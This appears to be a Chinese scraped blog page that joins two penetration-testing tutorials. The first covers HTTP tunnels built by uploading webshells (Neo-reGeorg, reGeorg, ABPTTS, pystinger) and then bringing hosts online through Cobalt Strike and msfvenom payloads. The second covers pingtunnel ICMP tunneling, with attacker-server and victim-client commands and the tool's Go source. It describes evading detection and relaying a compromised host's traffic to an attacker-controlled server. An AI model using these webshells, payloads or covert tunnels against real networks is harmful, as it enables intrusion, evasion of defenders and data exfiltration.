内网渗透之http隧道

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透之http隧道相关的知识,希望对你有一定的参考价值。

参考技术A

最近在整理内网渗透的一些相关资料,隧道的搭建是后渗透阶段重要的一环。随着防守的手段不断升级,某些情况下只能搭建http隧道。

简介
通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。

获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。
根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。

可以称为reGeorg的升级版,且传输内容经过了base64编码,避免特征检查,有效绕过检测。

https://github.com/L-codes/Neo-reGeorg

1.设置密码,生成tunnel的webshell,并上传到目标服务器。

windows上可以使用SocksCap64 或者proxifier工具配置代理。
以windows上的SocksCap64 为例,添加代理。

测试连接成功。

注意有个测试代理地址。

点击可测试。

linux上可以使用proxychains代理
编辑

添加代理IP以及端口即可。

kali本地工具就可以通过proxychains命令全部代理进内网。
注意代理不支持icmp协议。proxychains nmap -Pn -sT -sV -v -T4 IP

reGeorg 是 reDuh 的升级版。主要把内网服务器的端口通过http或https隧道转发到本机。

https://github.com/sensepost/reGeorg

1.上传tunnel.nosocket.php到目标服务器。

2.连接tunnel.nosocket.php,配置代理。

在SocksCap64 添加代理。

测试连接成功。

abptts是一款基于ssl加密的http隧道工具。全程通信数据加密有效对抗检测。

https://github.com/nccgroup/ABPTTS

1.安装python依赖库

2.本地运行,生成webshell
注意:该工具不支持php

将生成的代理脚本选择性上传到目标服务器。
返回hash值,说明代理正常执行。

建立隧道,将目标服务器的3389和本地的3389进行绑定。

远程连接本地的33389端口

另外:
冰蝎本身也有socks代理。
Tunna 也可以在内网代理中转发端口。

pystinger是通过webshell来实现内网的SOCK4代理。
使用python开发,当前支持php,jsp(x),aspx三种代理脚本。可直接用于metasploit,cobalt strike上线。

https://github.com/FunnyWolf/pystinger

1.上传proxy.jsp到目标服务器,确保可以正常访问。

2.上传stinger_server.exe 到目标服务器,并start命令运行该程序

vps 运行client端

将会在vps的6000端口启用socks4a代理

在SocksCap64 添加代理,测试一下。

配置60020端口的listener。

选择payload 生成artifact.exe,触发后即可上线。

vps可看到socks连接。

msfvenom生成60020端口的payload.exe

metasploit 配置对应的监听

将payload.exe在目标机上触发后,即可上线。

https://micro8.github.io/Micro8-html/Content/91-100.html
https://klionsec.github.io/2016/09/15/abptts-http-tunnel/

内网渗透系列:内网隧道之pingtunnel

目录

前言

本文研究ICMP隧道的一个工具,pingtunnel

github:https://github.com/esrrhs/pingtunnel

一、概述

1、简介

持续更新,来自腾讯大佬,用Go编写,把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  • 目标机(客户端)可以ping出去
  • 目标机可能要管理员权限
  • windows要装有wincap

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)直连出网

攻击机(服务端)启动隧道并关闭系统默认的 ping

sudo ./pingtunnel -type server
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

目标机(客户端)

# 转发 sock5
./pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1
# 转发 tcp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
# 转发 udp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

(2)跳板出网

跳板机

./pingtunnel -x 123456 #设置密码

攻击机

./pingtunnel -p <跳板机ip> -lp 1080 -da <目标机ip> -dp 3389 -x 123456
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地监听的端口
    -da:指定要转发的目标机器的IP
    -dp:指定要转发的目标机器的端口
    -x:指定连接密码

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

(1)攻击机

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
[sudo] ./pingtunnel -type server -key 123456 #设置密码

(2)目标机

./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

(3)nc

此时隧道建立成功

然后就可以进行下一步,比如nc

目标机

攻击机收到信息

3、抓包看看

建立连接时的心跳包和ARP寻址


nc命令时的包

三、探索

1、源码与分析

(1)main.go

主要是使用方法,调用server和client,然后有个过滤国家的filter可以忽略掉(调用的库有点多有点大)

package main

import (
	"flag"
	"fmt"
	"github.com/esrrhs/go-engine/src/common" 
	"github.com/esrrhs/go-engine/src/geoip"
	"github.com/esrrhs/go-engine/src/loggo"
	"github.com/esrrhs/go-engine/src/pingtunnel"
	"net"
	"net/http"
	_ "net/http/pprof"
	"strconv"
	"time"
)

var usage = `
    通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
    By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.

Usage:

    // server
    pingtunnel -type server

    // client, Forward udp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455

    // client, Forward tcp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1

    // client, Forward sock5, implicitly open tcp, so no target server is needed
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

    -type     服务器或者客户端
              client or server

服务器参数server param:

    -key      设置的密码,默认0
              Set password, default 0

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -maxconn  最大连接数,默认0,不受限制
              the max num of connections, default 0 is no limit

    -maxprt   server最大处理线程数,默认100
              max process thread in server, default 100

    -maxprb   server最大处理线程buffer数,默认1000
              max process thread's buffer in server, default 1000

    -conntt   server发起连接到目标地址的超时时间,默认1000ms
              The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.

客户端参数client param:

    -l        本地的地址,发到这个端口的流量将转发到服务器
              Local address, traffic sent to this port will be forwarded to the server

    -s        服务器的地址,流量将通过隧道转发到这个服务器
              The address of the server, the traffic will be forwarded to this server through the tunnel

    -t        远端服务器转发的目的地址,流量将转发到这个地址
              Destination address forwarded by the remote server, traffic will be forwarded to this address

    -timeout  本地记录连接超时的时间,单位是秒,默认60s
              The time when the local record connection timed out, in seconds, 60 seconds by default

    -key      设置的密码,默认0
              Set password, default 0

    -tcp      设置是否转发tcp,默认0
              Set the switch to forward tcp, the default is 0

    -tcp_bs   tcp的发送接收缓冲区大小,默认1MB
              Tcp send and receive buffer size, default 1MB

    -tcp_mw   tcp的最大窗口,默认20000
              The maximum window of tcp, the default is 20000

    -tcp_rst  tcp的超时发送时间,默认400ms
              Tcp timeout resend time, default 400ms

    -tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
              Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0

    -tcp_stat 打印tcp的监控,默认0
              Print tcp connection statistic, default 0 is off

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -sock5    开启sock5转发,默认0
              Turn on sock5 forwarding, default 0 is off

    -profile  在指定端口开启性能检测,默认0不开启
              Enable performance detection on the specified port. The default 0 is not enabled.

    -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
              Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.

    -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
              The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`

func main() 

	defer common.CrashLog()

	t := flag.String("type", "", "client or server")
	listen := flag.String("l", "", "listen addr")
	target := flag.String("t", "", "target addr")
	server := flag.String("s", "", "server addr")
	timeout := flag.Int("timeout", 60, "conn timeout")
	key := flag.Int("key", 0, "key")
	tcpmode := flag.Int("tcp", 0, "tcp mode")
	tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")
	tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")
	tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")
	tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")
	nolog := flag.Int("nolog", 0, "write log file")
	noprint := flag.Int("noprint", 0, "print stdout")
	tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")
	loglevel := flag.String("loglevel", "info", "log level")
	open_sock5 := flag.Int("sock5", 0, "sock5 mode")
	maxconn := flag.Int("maxconn", 0, "max num of connections")
	max_process_thread := flag.Int("maxprt", 100, "max process thread in server")
	max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")
	profile := flag.Int("profile", 0, "open profile")
	conntt := flag.Int("conntt", 1000, "the connect call's timeout")
	s5filter := flag.String("s5filter", "", "sock5 filter")
	s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")
	flag.Usage = func() 
		fmt.Printf(usage)
	

	flag.Parse()

	if *t != "client" && *t != "server" 
		flag.Usage()
		return
	
	if *t == "client" 
		if len(*listen) == 0 || len(*server) == 0 
			flag.Usage()
			return
		
		if *open_sock5 == 0 && len(*target) == 0 
			flag.Usage()
			return
		
		if *open_sock5 != 0 
			*tcpmode = 1
		
	
	if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID 
		fmt.Println("set tcp win too big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))
		return
	
	// 记录日志
	level := loggo.LEVEL_INFO
	if loggo.NameToLevel(*loglevel) >= 0 
		level = loggo.NameToLevel(*loglevel)
	
	loggo.Ini(loggo.Config
		Level:     level,
		Prefix:    "pingtunnel",
		MaxDay:    3,
		NoLogFile: *nolog > 0,
		NoPrint:   *noprint > 0,
	)
	loggo.Info("start...")
	loggo.Info("key %d", *key)

	if *t == "server" 
		s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)
		if err != nil 
			loggo.Error("ERROR: %s", err.Error())
			return
		
		loggo.Info("Server start")
		err = s.Run()
		if err != nil 
			loggo.Error("Run ERROR: %s", err.Error())
			return
		
	 else if *t == "client" 

		loggo.Info("type %s", *t)
		loggo.Info("listen %s", *listen)
		loggo.Info("server %s", *server)
		loggo.Info("target %s", *target)

		if *tcpmode == 0 
			*tcpmode_buffersize = 0
			*tcpmode_maxwin = 0
			*tcpmode_resend_timems = 0
			*tcpmode_compress = 0
			*tcpmode_stat = 0
		
		
		// 过滤国家,如果不是翻墙可以忽略
		if len(*s5filter) > 0 
			err := geoip.Load(*s5ftfile)
			if err != nil 
				loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())
				return
			
		
		filter := func(addr string) bool 
			if len(*s5filter) <= 0 
				return true
			

			taddr, err := net.ResolveTCPAddr("tcp", addr)
			if err != nil 
				return false
			

			ret, err := geoip.GetCountryIsoCode(taddr.IP.String())
			if err != nil 
				return false
			
			if len(ret) <= 0 
				return false
			
			return ret != *s5filter
		

		c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,
			*tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,
			*tcpmode_stat, *open_sock5, *maxconn, &filter)
		if err != nil 
			loggo.Error("ERROR: %s", err.Error())
			return
		
		loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),
			c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())
		err = c.Run()
		if err != nil 
			loggo.Error("Run ERROR: %s", err.Error())
			return
		
	 else 
		return
	

	if *profile > 0 
		go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)
	

	for 
		time.Sleep(time.Hour)
	


(2)pingtunnel.go

ICMP包的构造和收发,其中ICMP包和IP包的构造直接从net库导入,收发主要是内容填充和一些error的注意

package pingtunnel

import (
	"encoding/binary"
	"github.com/esrrhs/go-engine/src/common"
	"github.com/esrrhs/go-engine/src/loggo"
	"github.com/golang/protobuf/proto"
	"golang.org/x/net/icmp"
	"golang.org/x/net/ipv4"
	"net"
	"sync"
	"time"
)

func sendICMP(id int, sequence int, conn icmp.PacketConn, server *net.IPAddr, target string,
	connId string, msgType uint32, data []byte, sproto int, rproto int, key int,
	tcpmode int, tcpmode_buffer_size int, tcpmode_maxwin int, tcpmode_resend_time int, tcpmode_compress int, tcpmode_stat int,
	timeout int) 

	m := &MyMsg
		Id:                  connId,
		Type:                (int32)(msgType),
		Target:              target,
		Data:                data,
		Rproto:              (int32)(rproto),
		Key:                 (int32)(key),
		Tcpmode:             (int32)(tcpmode),
		TcpmodeBuffersize:   (int32)(tcpmode_buffer_size),
		TcpmodeMaxwin:       (int32)(tcpmode_maxwin),
		TcpmodeResendTimems: (int32)(tcpmode_resend_time),
		TcpmodeCompress:     (int32)(tcpmode_compress),
		TcpmodeStat:         (int32)(tcpmode_stat),
		Timeout:             (int32)(timeout),
		Magic:               (int32)(MyMsg_MAGIC),
	

	mb, err := proto.Marshal(m)
	if err != nil 
		loggo.Error("sendICMP Marshal MyMsg error %s %s", server.String(), err)
		return
	

	body := &icmp.Echo
		ID:   id,
		Seq:  sequence,
		Data: mb,
	

	msg := &icmp.Message
		Type: (ipv4.ICMPType)(sproto),
		Code: 0,
		Body: body,
	

	bytes, err := msg.Marshal(nil)
	if err != nil 
		loggo.Error("sendICMP Marshal error %s %s", server.String(), err)
		return
	

	conn.WriteTo(bytes, server)


func recvICMP(workResultLock *sync.WaitGroup, exit *bool, conn icmp.PacketConn, recv chan<- *Packet) 

	defer common.CrashLog()

	(*workResultLock).Add(1)
	defer (*workResultLock).Done()

	bytes := make([]byte, 10240)
	for !*exit 
		conn.SetReadDeadline(time.Now().Add(time.Millisecond * 100))
		n, srcaddr, err := conn.ReadFrom(bytes)

		if err != nil 
			nerr, ok := err.(net.Error)
			if !ok || !nerr.Timeout() 
				loggo.Info("Error read icmp message %s", err)
				continue
			
		

		if n <= 0 
			continue
		

		echoId := int(binary.BigEndian.Uint16(bytes[4:6]))
		echoSeq := int(binary.BigEndian.Uint16(bytes[6:8]))

		my := &MyMsg
		err = proto.Unmarshal(bytes[8:n], my)
		if err != nil 
			loggo.Debug("Unmarshal MyMsg error: %s", err)
			continue
		

		if my.Magic != (int32)(MyMsg_MAGIC) 
			loggo.Debug("processPacket data invalid %s", my.Id)
			continue
		

		recv <- &Packetmy: my,
			src:    srcaddr.(*net.IPAddr),
			echoId: echoId, echoSeq: echoSeq
	


type Packet struct 
	my      *MyMsg
	src     *net.IPAddr
	echoId  int
	echoSeq int

以上是关于内网渗透之http隧道的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透系列:内网隧道之Neo-reGeorg

内网渗透系列:内网隧道之iox

内网渗透系列:内网隧道之pingtunnel

内网渗透系列:内网隧道之spp

内网渗透系列:内网隧道之spp

内网渗透系列:内网隧道之NATBypass